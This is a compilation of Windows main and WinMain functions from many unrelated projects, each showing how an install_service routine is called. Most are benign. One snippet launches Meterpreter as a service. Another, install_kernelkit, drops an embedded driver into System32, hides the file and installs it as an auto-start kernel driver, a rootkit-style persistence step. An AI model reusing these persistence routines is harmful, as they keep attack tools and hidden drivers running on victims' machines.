int main(int argc, char *argv[]) { SERVICE_TABLE_ENTRY dispatchTable[] = { {SVCNAME, (LPSERVICE_MAIN_FUNCTION)service_main}, {NULL, NULL} }; if ((argc > 1) && ((argv[1][0] == '-') && (argv[1][1] == '-'))) { if (!_stricmp("install-svc", argv[1]+2)) return install_service(); else if (!_stricmp("remove-svc", argv[1]+2)) return remove_service(); else if (_stricmp("run-svc", argv[1]+2) && !is_nt_service()) return run_notservice(argc, argv); } else if (!is_nt_service()) { return run_notservice(argc, argv); } printf("mix --install-svc install the service\n"); printf("mix --remove-svc remove the service\n"); printf("mix --run-svc run as a service\n"); printf("mix -h view a summary of the command line options.\n"); printf("\nStartServiceCtrlDispatcher being called.\n" ); printf("This may take several seconds. Please wait.\n" ); if (!StartServiceCtrlDispatcher(dispatchTable)) { printf("Service not started: StartServiceCtrlDispatcher failed.\n" ); event_log(1000, "Service not started: StartServiceCtrlDispatcher failed"); } return 0; } /* main */
int main(int argc, char *argv[]) { if (argc == 2) { if (strcmp(argv[1], "install-service") == 0) { // Installs and starts the service install_service(); return 0; } else if (strcmp(argv[1], "remove-service") == 0) { // Stops and removes the service remove_service(); return 0; } else if (strcmp(argv[1], "service") == 0) { // Starts the Meterpreter as a service start_service(); return 0; } } // Starts the Meterpreter as a normal application start_meterpreter(); return 0; }
/* About to install the service */ int pre_install_service(int argc, char **argv) { /* Show the dialogue box if we didn't give the service name and path */ if (argc < 2) return nssm_gui(IDD_INSTALL, argv[0]); /* Arguments are optional */ char *flags; size_t flagslen = 0; size_t s = 0; int i; for (i = 2; i < argc; i++) flagslen += strlen(argv[i]) + 1; if (! flagslen) flagslen = 1; flags = (char *) HeapAlloc(GetProcessHeap(), 0, flagslen); if (! flags) { log_event(EVENTLOG_ERROR_TYPE, NSSM_EVENT_OUT_OF_MEMORY, "flags", "pre_install_service()", 0); return 2; } ZeroMemory(flags, flagslen); /* This probably isn't UTF8-safe and should use std::string or something but it's been broken for the best part of a decade and due for a rewrite anyway so it'll do as a quick-'n'-dirty fix. Note that we don't free the flags buffer but as the program exits that isn't a big problem. */ for (i = 2; i < argc; i++) { size_t len = strlen(argv[i]); memmove(flags + s, argv[i], len); s += len; if (i < argc - 1) flags[s++] = ' '; } return install_service(argv[0], argv[1], flags); }
int main(int argc, char **argv) { static SERVICE_TABLE_ENTRY dispatch_table[] = { {"tdifw", service_main}, {NULL, NULL} }; _LEAK_CHECK; if (argc >= 2) { const char *param = argv[1]; if (strcmp(param, "install") == 0) { if (argc < 3) { fprintf(stderr, "Use: tdifw install <config>\n"); return -1; } install_service(argv[2]); } else if (strcmp(param, "remove") == 0) { remove_service(); } else if (strcmp(param, "debug") == 0) { if (argc < 3) { fprintf(stderr, "Use: tdifw debug <config>\n"); return -1; } if (start(argv[2])) { printf("press enter to exit...\n"); getchar(); printf("exiting...\n"); stop(); } } else if (strcmp(param, "listen") == 0) { // tdifw specific enum_listen(); } else if (strcmp(param, "conn") == 0) { // tdifw specific enum_connect(); } else { fprintf(stderr, "Use: tdifw install|remove|debug|listen|conn\n"); } } else { g_console = FALSE; // run as service if (!StartServiceCtrlDispatcher(dispatch_table)) winerr("main: StartServiceCtrlDispatcher"); } return 0; }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow) { char exe_file_name[MAX_PATH], dir[MAX_PATH], *ptr; static struct WSAData wsa_state; ghInst=hInstance; GetModuleFileName(0, exe_file_name, MAX_PATH); /* set current directory */ strcpy(dir, exe_file_name); ptr=strrchr(dir, '\\'); /* last backslash */ if(ptr) ptr[1]='\0'; /* truncate program name */ if(!SetCurrentDirectory(dir)) { MessageBox(hwnd, "Cannot set current directory", options.win32_name, MB_ICONERROR); return 1; } /* setup service_path for CreateService() */ strcpy(service_path, "\""); strcat(service_path, exe_file_name); strcat(service_path, "\" -service"); /* strcat(service_path, lpszCmdLine); */ if(WSAStartup(0x0101, &wsa_state)) { win_log("Failed to initialize winsock"); error_mode=1; } if(!strcmpi(lpszCmdLine, "-service")) { if(!setjmp(jump_buf)) main_initialize(NULL, NULL); return start_service(); /* Always start service with -service option */ } if(!error_mode && !setjmp(jump_buf)) { /* TRY */ if(!strcmpi(lpszCmdLine, "-install")) { main_initialize(NULL, NULL); return install_service(); } else if(!strcmpi(lpszCmdLine, "-uninstall")) { main_initialize(NULL, NULL); return uninstall_service(); } else { /* not -service, -install or -uninstall */ main_initialize(lpszCmdLine[0] ? lpszCmdLine : NULL, NULL); } } /* CATCH */ return win_main(hInstance, hPrevInstance, lpszCmdLine, nCmdShow); }
bool install_kernelkit() { char szInstallPath[MAX_PATH], szSysDir[MAX_PATH]; if (is_os9x()) return FALSE; if (!is_osnt()) return FALSE; GetSystemDirectory(szSysDir, sizeof(szSysDir)); sprintf(szInstallPath, "%s\\%s", szSysDir, driverfilename); if (!file_exists(szInstallPath)) extract_resource("driver", "RT_RCDATA", szInstallPath); SetFileAttributes(szInstallPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY); if (install_service(drivername, szInstallPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE)) return TRUE; return FALSE; }
/* Detach from current terminal, write pidfile, kill parent */ bool detach(void) { setup_signals(); /* First check if we can open a fresh new pidfile */ #ifndef HAVE_MINGW if(!write_pidfile()) return false; /* If we succeeded in doing that, detach */ closelogger(); #endif if(do_detach) { #ifndef HAVE_MINGW if(daemon(0, 0)) { fprintf(stderr, "Couldn't detach from terminal: %s", strerror(errno)); return false; } /* Now UPDATE the pid in the pidfile, because we changed it... */ if(!write_pid(pidfilename)) { fprintf(stderr, "Could not write pid file %s: %s\n", pidfilename, strerror(errno)); return false; } #else if(!statushandle) exit(install_service()); #endif } openlogger(identname, use_logfile?LOGMODE_FILE:(do_detach?LOGMODE_SYSLOG:LOGMODE_STDERR)); logger(LOG_NOTICE, "tincd %s (%s %s) starting, debug level %d", VERSION, __DATE__, __TIME__, debug_level); xalloc_fail_func = memory_full; return true; }
int _tmain( int argc, TCHAR *argv[] ) { // LPCTSTR service_name = _T("hindsight"); TCHAR *service_name = _T("hindsight"); if ( argc == 1 ) return run_service( service_name ); if ( lstrcmpi(argv[1], TEXT("install")) == 0 ) { return install_service( service_name ); } if ( lstrcmpi(argv[1], TEXT("start")) == 0 ) { return start_service( service_name ); } if ( lstrcmpi(argv[1], TEXT("stop")) == 0 ) { return stop_service( service_name ); } if ( lstrcmpi(argv[1], TEXT("uninstall")) == 0 ) { return uninstall_service( service_name ); } return -1; }
// WinMain parses the command line and either calls the main App // routine or, under NT, the main service routine. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { if (VNCOS.OS_NOTSUPPORTED==true) { MessageBoxSecure(NULL, "Error OS not supported","Unsupported OS", MB_ICONERROR); return true; } // make vnc last service to stop SetProcessShutdownParameters(0x100,false); // handle dpi on aero /*HMODULE hUser32 = LoadLibrary(_T("user32.dll")); typedef BOOL (*SetProcessDPIAwareFunc)(); SetProcessDPIAwareFunc setDPIAware=NULL; if (hUser32) setDPIAware = (SetProcessDPIAwareFunc)GetProcAddress(hUser32, "SetProcessDPIAware"); if (setDPIAware) setDPIAware(); if (hUser32) FreeLibrary(hUser32);*/ #ifdef IPP InitIpp(); #endif #ifdef CRASHRPT CR_INSTALL_INFO info; memset(&info, 0, sizeof(CR_INSTALL_INFO)); info.cb = sizeof(CR_INSTALL_INFO); info.pszAppName = _T("UVNC"); info.pszAppVersion = _T("1.2.0.9"); info.pszEmailSubject = _T("UVNC server 1.2.0.9 Error Report"); info.pszEmailTo = _T("*****@*****.**"); info.uPriorities[CR_SMAPI] = 1; // Third try send report over Simple MAPI // Install all available exception handlers info.dwFlags |= CR_INST_ALL_POSSIBLE_HANDLERS; // Restart the app on crash info.dwFlags |= CR_INST_APP_RESTART; info.dwFlags |= CR_INST_SEND_QUEUED_REPORTS; info.dwFlags |= CR_INST_AUTO_THREAD_HANDLERS; info.pszRestartCmdLine = _T("/restart"); // Define the Privacy Policy URL // Install crash reporting int nResult = crInstall(&info); if (nResult != 0) { // Something goes wrong. Get error message. TCHAR szErrorMsg[512] = _T(""); crGetLastErrorMsg(szErrorMsg, 512); _tprintf_s(_T("%s\n"), szErrorMsg); return 1; } #endif bool Injected_autoreconnect=false; SPECIAL_SC_EXIT=false; SPECIAL_SC_PROMPT=false; setbuf(stderr, 0); // [v1.0.2-jp1 fix] Load resouce from dll hInstResDLL = NULL; //limit the vnclang.dll searchpath to avoid char szCurrentDir[MAX_PATH]; char szCurrentDir_vnclangdll[MAX_PATH]; if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH)) { char* p = strrchr(szCurrentDir, '\\'); *p = '\0'; } strcpy (szCurrentDir_vnclangdll,szCurrentDir); strcat (szCurrentDir_vnclangdll,"\\"); strcat (szCurrentDir_vnclangdll,"vnclang_server.dll"); hInstResDLL = LoadLibrary(szCurrentDir_vnclangdll); if (hInstResDLL == NULL) { hInstResDLL = hInstance; } // RegisterLinkLabel(hInstResDLL); //Load all messages from ressource file Load_Localization(hInstResDLL) ; char WORKDIR[MAX_PATH]; if (GetModuleFileName(NULL, WORKDIR, MAX_PATH)) { char* p = strrchr(WORKDIR, '\\'); if (p == NULL) return 0; *p = '\0'; } char progname[MAX_PATH]; strncpy(progname, WORKDIR, sizeof progname); progname[MAX_PATH - 1] = 0; //strcat(WORKDIR,"\\"); //strcat(WORKDIR,"WinVNC.log"); vnclog.SetFile(); //vnclog.SetMode(4); //vnclog.SetLevel(10); #ifdef _DEBUG { // Get current flag int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG ); // Turn on leak-checking bit tmpFlag |= _CRTDBG_LEAK_CHECK_DF; // Set flag to the new value _CrtSetDbgFlag( tmpFlag ); } #endif // Save the application instance and main thread id hAppInstance = hInstance; mainthreadId = GetCurrentThreadId(); // Initialise the VSocket system VSocketSystem socksys; if (!socksys.Initialised()) { MessageBoxSecure(NULL, sz_ID_FAILED_INIT, szAppName, MB_OK); #ifdef CRASHRPT crUninstall(); #endif return 0; } // look up the current service name in the registry. GetServiceName(progname, service_name); // Make the command-line lowercase and parse it size_t i; for (i = 0; i < strlen(szCmdLine); i++) { szCmdLine[i] = tolower(szCmdLine[i]); } BOOL argfound = FALSE; for (i = 0; i < strlen(szCmdLine); i++) { if (szCmdLine[i] <= ' ') continue; argfound = TRUE; if (strncmp(&szCmdLine[i], winvncSettingshelper, strlen(winvncSettingshelper)) == 0) { Sleep(3000); char mycommand[MAX_PATH]; i+=strlen(winvncSettingshelper); strcpy( mycommand, &(szCmdLine[i+1])); Set_settings_as_admin(mycommand); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncStopserviceHelper, strlen(winvncStopserviceHelper)) == 0) { Sleep(3000); Set_stop_service_as_admin(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncKill, strlen(winvncKill)) == 0) { static HANDLE hShutdownEventTmp; hShutdownEventTmp = OpenEvent(EVENT_ALL_ACCESS, FALSE, "Global\\SessionEventUltra"); SetEvent(hShutdownEventTmp); CloseHandle(hShutdownEventTmp); //adzm 2010-02-10 - Finds the appropriate VNC window for any process. Sends this message to all of them! // do removed, loops forever with cpu 100 HWND hservwnd = NULL; hservwnd = FindWinVNCWindow(false); if (hservwnd!=NULL) { PostMessage(hservwnd, WM_COMMAND, 40002, 0); PostMessage(hservwnd, WM_CLOSE, 0, 0); } #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncopenhomepage, strlen(winvncopenhomepage)) == 0) { Open_homepage(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncopenforum, strlen(winvncopenforum)) == 0) { Open_forum(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncStartserviceHelper, strlen(winvncStartserviceHelper)) == 0) { Sleep(3000); Set_start_service_as_admin(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncInstallServiceHelper, strlen(winvncInstallServiceHelper)) == 0) { //Sleeps are realy needed, else runas fails... Sleep(3000); Set_install_service_as_admin(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncUnInstallServiceHelper, strlen(winvncUnInstallServiceHelper)) == 0) { Sleep(3000); Set_uninstall_service_as_admin(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncSoftwarecadHelper, strlen(winvncSoftwarecadHelper)) == 0) { Sleep(3000); Enable_softwareCAD_elevated(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncdelSoftwarecadHelper, strlen(winvncdelSoftwarecadHelper)) == 0) { Sleep(3000); delete_softwareCAD_elevated(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRebootSafeHelper, strlen(winvncRebootSafeHelper)) == 0) { Sleep(3000); Reboot_in_safemode_elevated(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRebootForceHelper, strlen(winvncRebootForceHelper)) == 0) { Sleep(3000); Reboot_with_force_reboot_elevated(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncSecurityEditorHelper, strlen(winvncSecurityEditorHelper)) == 0) { Sleep(3000); winvncSecurityEditorHelper_as_admin(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncSecurityEditor, strlen(winvncSecurityEditor)) == 0) { typedef void (*vncEditSecurityFn) (HWND hwnd, HINSTANCE hInstance); vncEditSecurityFn vncEditSecurity = 0; char szCurrentDirl[MAX_PATH]; if (GetModuleFileName(NULL, szCurrentDirl, MAX_PATH)) { char* p = strrchr(szCurrentDirl, '\\'); *p = '\0'; strcat (szCurrentDirl,"\\authSSP.dll"); } HMODULE hModule = LoadLibrary(szCurrentDirl); if (hModule) { vncEditSecurity = (vncEditSecurityFn) GetProcAddress(hModule, "vncEditSecurity"); HRESULT hr = CoInitialize(NULL); vncEditSecurity(NULL, hAppInstance); CoUninitialize(); FreeLibrary(hModule); } #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncSettings, strlen(winvncSettings)) == 0) { char mycommand[MAX_PATH]; i+=strlen(winvncSettings); strcpy( mycommand, &(szCmdLine[i+1])); Real_settings(mycommand); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], dsmpluginhelper, strlen(dsmpluginhelper)) == 0) { char mycommand[MAX_PATH]; i += strlen(dsmpluginhelper); strcpy(mycommand, &(szCmdLine[i + 1])); Secure_Plugin_elevated(mycommand); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], dsmplugininstance, strlen(dsmplugininstance)) == 0) { char mycommand[MAX_PATH]; i += strlen(dsmplugininstance); strcpy(mycommand, &(szCmdLine[i + 1])); Secure_Plugin(mycommand); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncSoftwarecad, strlen(winvncSoftwarecad)) == 0) { Enable_softwareCAD(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncdelSoftwarecad, strlen(winvncdelSoftwarecad)) == 0) { delete_softwareCAD(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRebootSafe, strlen(winvncRebootSafe)) == 0) { Reboot_in_safemode(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRebootForce, strlen(winvncRebootForce)) == 0) { Reboot_with_force_reboot(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncStopservice, strlen(winvncStopservice)) == 0) { Real_stop_service(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncStartservice, strlen(winvncStartservice)) == 0) { Real_start_service(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncInstallService, strlen(winvncInstallService)) == 0) { // rest of command line service name, if provided. char *pServiceName = &szCmdLine[i]; // skip over command switch, find next whitepace while (*pServiceName && !isspace(*(unsigned char*)pServiceName)) ++pServiceName; // skip past whitespace to service name while (*pServiceName && isspace(*(unsigned char*)pServiceName)) ++pServiceName; // strip off any quotes if (*pServiceName && *pServiceName == '\"') ++pServiceName; if (*pServiceName) { // look for trailing quote, if found, terminate the string there. char *pQuote = pServiceName; pQuote = strrchr(pServiceName, '\"'); if (pQuote) *pQuote = 0; } // if a service name is supplied, and it differs except in case from // the default, use the supplied service name instead if (*pServiceName && (_strcmpi(pServiceName, service_name) != 0)) { strncpy(service_name, pServiceName, 256); service_name[255] = 0; } install_service(); Sleep(2000); char command[MAX_PATH + 32]; // 29 January 2008 jdp _snprintf(command, sizeof command, "net start \"%s\"", service_name); WinExec(command,SW_HIDE); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncUnInstallService, strlen(winvncUnInstallService)) == 0) { char command[MAX_PATH + 32]; // 29 January 2008 jdp // rest of command line service name, if provided. char *pServiceName = &szCmdLine[i]; // skip over command switch, find next whitepace while (*pServiceName && !isspace(*(unsigned char*)pServiceName)) ++pServiceName; // skip past whitespace to service name while (*pServiceName && isspace(*(unsigned char*)pServiceName)) ++pServiceName; // strip off any quotes if (*pServiceName && *pServiceName == '\"') ++pServiceName; if (*pServiceName) { // look for trailing quote, if found, terminate the string there. char *pQuote = pServiceName; pQuote = strrchr(pServiceName, '\"'); if (pQuote) *pQuote = 0; } if (*pServiceName && (_strcmpi(pServiceName, service_name) != 0)) { strncpy(service_name, pServiceName, 256); service_name[255] = 0; } _snprintf(command, sizeof command, "net stop \"%s\"", service_name); WinExec(command,SW_HIDE); uninstall_service(); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRunService, strlen(winvncRunService)) == 0) { //Run as service if (!Myinit(hInstance)) return 0; fRunningFromExternalService = true; vncService::RunningFromExternalService(true); int returnvalue = WinVNCAppMain(); #ifdef CRASHRPT crUninstall(); #endif return returnvalue; } if (strncmp(&szCmdLine[i], winvncStartService, strlen(winvncStartService)) == 0) { start_service(szCmdLine); #ifdef CRASHRPT crUninstall(); #endif return 0; } if (strncmp(&szCmdLine[i], winvncRunAsUserApp, strlen(winvncRunAsUserApp)) == 0) { // WinVNC is being run as a user-level program if (!Myinit(hInstance)) return 0; int returnvalue = WinVNCAppMain(); #ifdef CRASHRPT crUninstall(); #endif return returnvalue; } if (strncmp(&szCmdLine[i], winvncSCexit, strlen(winvncSCexit)) == 0) { SPECIAL_SC_EXIT=true; i+=strlen(winvncSCexit); continue; } if (strncmp(&szCmdLine[i], winvncSCprompt, strlen(winvncSCprompt)) == 0) { SPECIAL_SC_PROMPT=true; i+=strlen(winvncSCprompt); continue; } if (strncmp(&szCmdLine[i], winvncmulti, strlen(winvncmulti)) == 0) { multi=true; i+=strlen(winvncmulti); continue; } if (strncmp(&szCmdLine[i], winvnchttp, strlen(winvnchttp)) == 0) { G_HTTP=true; i+=strlen(winvnchttp); continue; } if (strncmp(&szCmdLine[i], winvncStopReconnect, strlen(winvncStopReconnect)) == 0) { i+=strlen(winvncStopReconnect); vncService::PostAddStopConnectClientAll(); continue; } if (strncmp(&szCmdLine[i], winvncAutoReconnect, strlen(winvncAutoReconnect)) == 0) { // Note that this "autoreconnect" param MUST be BEFORE the "connect" one // on the command line ! // wa@2005 -- added support for the AutoReconnectId i+=strlen(winvncAutoReconnect); Injected_autoreconnect=true; int start, end; char* pszId = NULL; start = i; // skip any spaces and grab the parameter while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++; if ( strncmp( &szCmdLine[start], winvncAutoReconnectId, strlen(winvncAutoReconnectId) ) == 0 ) { end = start; while (szCmdLine[end] > ' ') end++; if (end - start > 0) { pszId = new char[end - start + 1]; strncpy(pszId, &(szCmdLine[start]), end - start); pszId[end - start] = 0; pszId = _strupr(pszId); } //multiple spaces between autoreconnect and id i = end; }// end of condition we found the ID: parameter // NOTE: id must be NULL or the ID:???? (pointer will get deleted when message is processed) // We can not contact a runnning service, permissions, so we must store the settings // and process until the vncmenu has been started if (!vncService::PostAddAutoConnectClient( pszId )) { PostAddAutoConnectClient_bool=true; if (pszId==NULL) { PostAddAutoConnectClient_bool_null=true; PostAddAutoConnectClient_bool=false; } else { strcpy(pszId_char,pszId); //memory leak fix delete[] pszId; pszId = NULL; } } if (pszId != NULL) delete[] pszId; pszId = NULL; continue; } if ( strncmp( &szCmdLine[i], winvncReconnectId, strlen(winvncReconnectId) ) == 0 ) { i+=strlen("-"); int start, end; char* pszId = NULL; start = i; end = start; while (szCmdLine[end] > ' ') end++; if (end - start > 0) { pszId = new char[end - start + 1]; if (pszId != 0) { strncpy(pszId, &(szCmdLine[start]), end - start); pszId[end - start] = 0; pszId = _strupr(pszId); } } i = end; if (!vncService::PostAddConnectClient( pszId )) { PostAddConnectClient_bool=true; if (pszId==NULL) { PostAddConnectClient_bool_null=true; PostAddConnectClient_bool=false; } else { strcpy(pszId_char,pszId); //memory leak fix delete[] pszId; pszId = NULL; } } if (pszId != NULL) delete[] pszId; pszId = NULL; continue; } if (strncmp(&szCmdLine[i], winvncConnect, strlen(winvncConnect)) == 0) { if (!Injected_autoreconnect) { vncService::PostAddStopConnectClient(); } // Add a new client to an existing copy of winvnc i+=strlen(winvncConnect); // First, we have to parse the command line to get the filename to use int start, end; start=i; while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++; end = start; while (szCmdLine[end] > ' ') end++; // Was there a hostname (and optionally a port number) given? if (end-start > 0) { char *name = new char[end-start+1]; if (name != 0) { strncpy(name, &(szCmdLine[start]), end-start); name[end-start] = 0; int port = INCOMING_PORT_OFFSET; char *portp = strchr(name, ':'); if (portp) { *portp++ = '\0'; if (*portp == ':') { port = atoi(++portp); // Port number after "::" } else { port = atoi(portp); // Display number after ":" } } vnclog.Print(LL_STATE, VNCLOG("test... %s %d\n"),name,port); strcpy_s(dnsname,name); VCard32 address = VSocket::Resolve(name); delete [] name; if (address != 0) { // Post the IP address to the server // We can not contact a runnning service, permissions, so we must store the settings // and process until the vncmenu has been started vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient III \n")); if (!vncService::PostAddNewClientInit(address, port)) { PostAddNewClient_bool=true; port_int=port; address_vcard=address; } } else { //ask for host,port PostAddNewClient_bool=true; port_int=0; address_vcard=0; Sleep(2000); //Beep(200,1000); return 0; } } i=end; continue; } else { // Tell the server to show the Add New Client dialog // We can not contact a runnning service, permissions, so we must store the settings // and process until the vncmenu has been started vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient IIII\n")); if (!vncService::PostAddNewClient(0, 0)) { PostAddNewClient_bool=true; port_int=0; address_vcard=0; } } continue; } //adzm 2009-06-20 if (strncmp(&szCmdLine[i], winvncRepeater, strlen(winvncRepeater)) == 0) { // set the default repeater host i+=strlen(winvncRepeater); // First, we have to parse the command line to get the host to use int start, end; start=i; while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++; end = start; while (szCmdLine[end] > ' ') end++; // Was there a hostname (and optionally a port number) given? if (end-start > 0) { if (g_szRepeaterHost) { delete[] g_szRepeaterHost; g_szRepeaterHost = NULL; } g_szRepeaterHost = new char[end-start+1]; if (g_szRepeaterHost != 0) { strncpy(g_szRepeaterHost, &(szCmdLine[start]), end-start); g_szRepeaterHost[end-start] = 0; // We can not contact a runnning service, permissions, so we must store the settings // and process until the vncmenu has been started vnclog.Print(LL_INTERR, VNCLOG("PostAddNewRepeaterClient I\n")); if (!vncService::PostAddNewRepeaterClient()) { PostAddNewRepeaterClient_bool=true; port_int=0; address_vcard=0; } } i=end; continue; } else { /* // Tell the server to show the Add New Client dialog // We can not contact a runnning service, permissions, so we must store the settings // and process until the vncmenu has been started vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient IIII\n")); if (!vncService::PostAddNewClient(0, 0)) { PostAddNewClient_bool=true; port_int=0; address_vcard=0; } */ } continue; } // Either the user gave the -help option or there is something odd on the cmd-line! // Show the usage dialog MessageBoxSecure(NULL, winvncUsageText, sz_ID_WINVNC_USAGE, MB_OK | MB_ICONINFORMATION); break; }; // If no arguments were given then just run if (!argfound) { if (!Myinit(hInstance)) { #ifdef CRASHRPT crUninstall(); #endif return 0; } int returnvalue= WinVNCAppMain(); #ifdef CRASHRPT crUninstall(); #endif return returnvalue; } #ifdef CRASHRPT crUninstall(); #endif return 0; }
// // Windows メイン関数 // int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpszArgs, int nWinMode) { MSG msg; HWND hMain; int err; // 初期化 install_flag = FALSE; uninstall_flag = FALSE; read_ini_flag = FALSE; start_flag = FALSE; no_error_flag = FALSE; question_flag = FALSE; ok_flag = FALSE; h_instance = hInstance; // 実行ディレクトリにある sexe.exe のフルパスを作成 GetModuleFileName(NULL, module_name, sizeof(module_name)); lstrcpy(execute_path, module_name); extract_directory(execute_path); lstrcpy(ini_name, execute_path); lstrcat(ini_name, _T("\\sexe.ini")); // コマンドライン解析 analyze_args(lpszArgs); // サービスで動作しているか? service_flag = check_execute_service(); // WindowsNT/2000 ? if(nt_flag) { // サービスとして動作中? if(service_flag) { // すでに動作中? if(!check_already()) { // サービスとして起動 start_service(); } } else { // 2011/5/31 // コマンドラインパラメータでインストール・アンインストール if(install_flag) { TCHAR *ext; if(service_name[0] == _T('\0')) { if(!no_error_flag) { // サービス名を指定してください MessageBoxResourceText(NULL, IDS_ERROR_NO_SERVICE_NAME, NULL, ERROR_HEADER, MB_OK); } return ERROR_PARAMETER; } ext = extract_ext(exe_name); if(exe_name[0] == _T('\0') || (_tcsicmp(ext, _T("exe")) && _tcsicmp(ext, _T("bat")))) { if(!no_error_flag) { // プログラム名を指定してください MessageBoxResourceText(NULL, IDS_ERROR_NO_PROGRAM_NAME, NULL, ERROR_HEADER, MB_OK); } return ERROR_PARAMETER; } if(question_flag) { // サービス service_name を登録しますか? if(MessageBoxResourceText(NULL, IDS_QUESTION_INSTALL, service_name, ERROR_HEADER, MB_YESNO) != IDYES) { return ERROR_NO_INSTALL; } } if(!read_ini_flag) { // ini ファイルから読み出したのでなければ設定値を保存 set_inifile(); } // インストール if((err = install_service()) == ERROR_SUCCESS) { if(start_flag) { // サービス開始 if(restart_service()) { if(ok_flag) { // サービス service_name を登録し、開始しました。 MessageBoxResourceText(NULL, IDS_INSTALL_START_OK, service_name, HEADER, MB_OK); } } else if(!no_error_flag) { // サービス service_name を登録しましたが、開始に失敗しました。 MessageBoxResourceText(NULL, IDS_ERROR_INSTALL_START, service_name, HEADER, MB_OK); return ERROR_START; } } else if(ok_flag) { // サービス service_name を登録しました。 MessageBoxResourceText(NULL, IDS_INSTALL_OK, service_name, HEADER, MB_OK); } } else { if(!no_error_flag) { if(err == ERROR_SERVICE_EXISTS) { // すでに同名のサービスが登録済みです MessageBoxResourceText(NULL, IDS_ERROR_SAME_SERVICE, NULL, ERROR_HEADER, MB_OK); } else { // サービスに登録できませんでした。\nサービスの権限があるユーザーでログインして実行してください。 MessageBoxResourceText(NULL, IDS_ERROR_INSTALL_SERVICE, NULL, ERROR_HEADER, MB_OK); } } return ERROR_INSTALL; } } else if(uninstall_flag) { if(service_name[0] == _T('\0')) { if(!no_error_flag) { // サービス名を指定してください MessageBoxResourceText(NULL, IDS_ERROR_NO_SERVICE_NAME, NULL, ERROR_HEADER, MB_OK); } return ERROR_PARAMETER; } if(question_flag) { // サービス service_name を削除しますか? if(MessageBoxResourceText(NULL, IDS_QUESTION_UNINSTALL, service_name, HEADER, MB_YESNO) != IDYES) { return ERROR_NO_INSTALL; } } if(service_install_flag) { // サービスから削除 if(remove_service()) { if(ok_flag) { // サービス service_name を削除しました MessageBoxResourceText(NULL, IDS_UNINSTALL_OK, service_name, HEADER, MB_OK); } } else { if(!no_error_flag) { // サービスから削除できませんでした。\nサービスの権限があるユーザーでログインして実行してください。 MessageBoxResourceText(NULL, IDS_ERROR_UNINSTALL_SERVICE, NULL, ERROR_HEADER, MB_OK); } return ERROR_INSTALL; } } else { if(!no_error_flag) { // サービス service_name は登録されていません MessageBoxResourceText(NULL, IDS_ERROR_NOT_INSTALL_SERVICE, service_name, ERROR_HEADER, MB_OK); } return ERROR_INSTALL; } } else { // 2010/6/10 Vista/7 で WM_DROPFILES を受ける funcChangeWindowMessageFilter ChangeWindowMessageFilter; if(ChangeWindowMessageFilter = (funcChangeWindowMessageFilter)GetProcAddress(LoadLibrary(_T("user32.dll")) ,"ChangeWindowMessageFilter")) { ChangeWindowMessageFilter(WM_DROPFILES, MSGFLT_ADD); ChangeWindowMessageFilter(WM_COPYDATA, MSGFLT_ADD); ChangeWindowMessageFilter(0x0049, MSGFLT_ADD); } // 設定ダイアログを表示 hMain = CreateDialog(hInstance, MAKEINTRESOURCE(IDD_DIALOG_SETUP), GetDesktopWindow(), (DLGPROC)MainFunc); ShowWindow(hMain, SW_SHOW); // Drag&Drop を受け入れる準備 DragAcceptFiles(hMain, TRUE); while(GetMessage(&msg, NULL, 0, 0)) { if(!IsDialogMessage(hMain, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } } else { // Windows NT/2000/XP/Vista/7 で起動してください。 MessageBoxResourceText(NULL, IDS_ERROR_OS, NULL, 